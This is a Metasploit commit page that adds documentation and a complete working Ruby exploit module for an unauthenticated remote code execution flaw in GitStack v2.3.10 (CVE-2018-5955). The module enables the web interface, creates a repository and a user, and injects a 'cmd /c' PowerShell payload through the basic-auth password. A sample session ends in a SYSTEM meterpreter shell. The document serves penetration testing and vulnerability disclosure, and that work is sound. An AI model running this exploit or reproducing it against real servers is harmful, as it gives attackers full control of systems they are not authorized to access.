Land #9670, Gitstack v2.3.10 RCE

Land #9670
GSoC/Meterpreter_Web_Console
Wei Chen 2018-03-27 13:00:47 -05:00
commit 8c88c53e5d
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
2 changed files with 369 additions and 0 deletions

View File

@ -0,0 +1,68 @@
## Description
An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This
module exploits the vulnerability by sending unauthenticated REST API requests to put the
application in a vulnerable state, if needed, before sending a request to trigger the exploit.
These configuration changes are undone before the module exits. The module has been tested on
GitStack v2.3.10.
## Vulnerable Application
In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function.
To exploit the vulnerability, the repository web interface must be enabled, a repository must
exist, and a user must have access to the repository.
Note: A passwd file should be created by GitStack for local user accounts.
Default location: `C:\GitStack\data\passwdfile`.
## Verification Steps
* Install a vulnerable GitStack application
* `./msfconsole`
* `use exploit/windows/http/gitstack_rce`
* `set rhost <rhost>`
* `set verbose true`
8 `run`
Note: You may have to run the exploit multiple times since the powershell that is generate has to
be under a certain size.
## Scenarios
### GitStack v2.3.10 on Windows 7 SP1
```
msf5 > use exploit/windows/http/gitstack_rce
msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122
rhost => 172.22.222.122
msf5 exploit(windows/http/gitstack_rce) > set verbose true
verbose => true
msf5 exploit(windows/http/gitstack_rce) > run
[*] Started reverse TCP handler on 172.22.222.131:4444
[*] Powershell command length: 6103
[-] Web interface is disabled
[-] No repositories found
[+] Web interface successfully enabled
[+] The repository has been successfully created
[+] Created user: ZROTE
[+] User ZROTE added to EsILm
[*] Sending stage (252483 bytes) to 172.22.222.122
[+] ZROTE removed from EsILm
[+] ZROTE has been deleted
[+] Web interface successfully disabled
[+] EsILm has been deleted
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-V438RLMESAE
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```

View File

@ -0,0 +1,301 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'GitStack Unsanitized Argument RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability that
exists in GitStack through v2.3.10, caused by an unsanitized argument
being passed to an exec function call. This module has been tested
on GitStack v2.3.10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'References' =>
[
['CVE', '2018-5955'],
['EDB', '43777'],
['EDB', '44044'],
['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => 'Jan 15 2018',
'DefaultTarget' => 0))
end
def check_web
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'GET'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
if res.body =~ /true/
vprint_good('Web interface is enabled')
return true
else
vprint_error('Web interface is disabled')
return false
end
else
print_error('Unable to determine status of web interface')
return nil
end
end
def check_repos
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'GET',
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
mylist = res.get_json_document
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end
if mylist.length == 0
vprint_error('No repositories found')
return false
else
vprint_good('Repositories found')
return mylist
end
else
print_error('Unable to determine available repositories')
return nil
end
end
def update_web(web)
data = {'enabled' => web}
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'PUT',
'data' => data.to_json
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
end
end
def create_repo
repo = Rex::Text.rand_text_alpha(5)
c_token = Rex::Text.rand_text_alpha(5)
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'POST',
'cookie' => "csrftoken=#{c_token}",
'vars_post' => {
'name' => repo,
'csrfmiddlewaretoken' => c_token
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
return repo
else
print_status('Unable to create repository')
return nil
end
end
def delete_repo(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Failed to delete repository')
end
end
def create_user
user = Rex::Text.rand_text_alpha(5)
pass = user
begin
res = send_request_cgi({
'uri' => '/rest/user/',
'method' => 'POST',
'vars_post' => {
'username' => user,
'password' => pass
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("Created user: #{user}")
return user
else
print_error("Failed to create user")
return nil
end
end
def delete_user(user)
begin
res = send_request_cgi({
'uri' => "/rest/user/#{user}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Delete user unsuccessful')
end
end
def mod_user(repo, user, method)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/#{user}/",
'method' => method
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Unable to add/remove user from repo')
end
end
def repo_users(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/",
'method' => 'GET'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
users = res.get_json_document
users -= ['everyone']
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
users = nil
end
else
return nil
end
return users
end
def run_exploit(repo, user, cmd)
begin
res = send_request_cgi({
'uri' => '/web/index.php',
'method' => 'GET',
'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
'vars_get' => {
'p' => "#{repo}.git",
'a' => 'summary'
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110
web = check_web
repos = check_repos
if web.nil? || repos.nil?
return
end
unless web
update_web(!web)
# Wait for interface
sleep 8
end
if repos
pwn_repo = repos[0]['name']
else
pwn_repo = create_repo
end
r_users = repo_users(pwn_repo)
if r_users.present?
pwn_user = r_users[0]
run_exploit(pwn_repo, pwn_user, command)
else
pwn_user = create_user
if pwn_user
mod_user(pwn_repo, pwn_user, 'POST')
run_exploit(pwn_repo, pwn_user, command)
mod_user(pwn_repo, pwn_user, 'DELETE')
delete_user(pwn_user)
end
end
unless web
update_web(web)
end
unless repos
delete_repo(pwn_repo)
end
end
end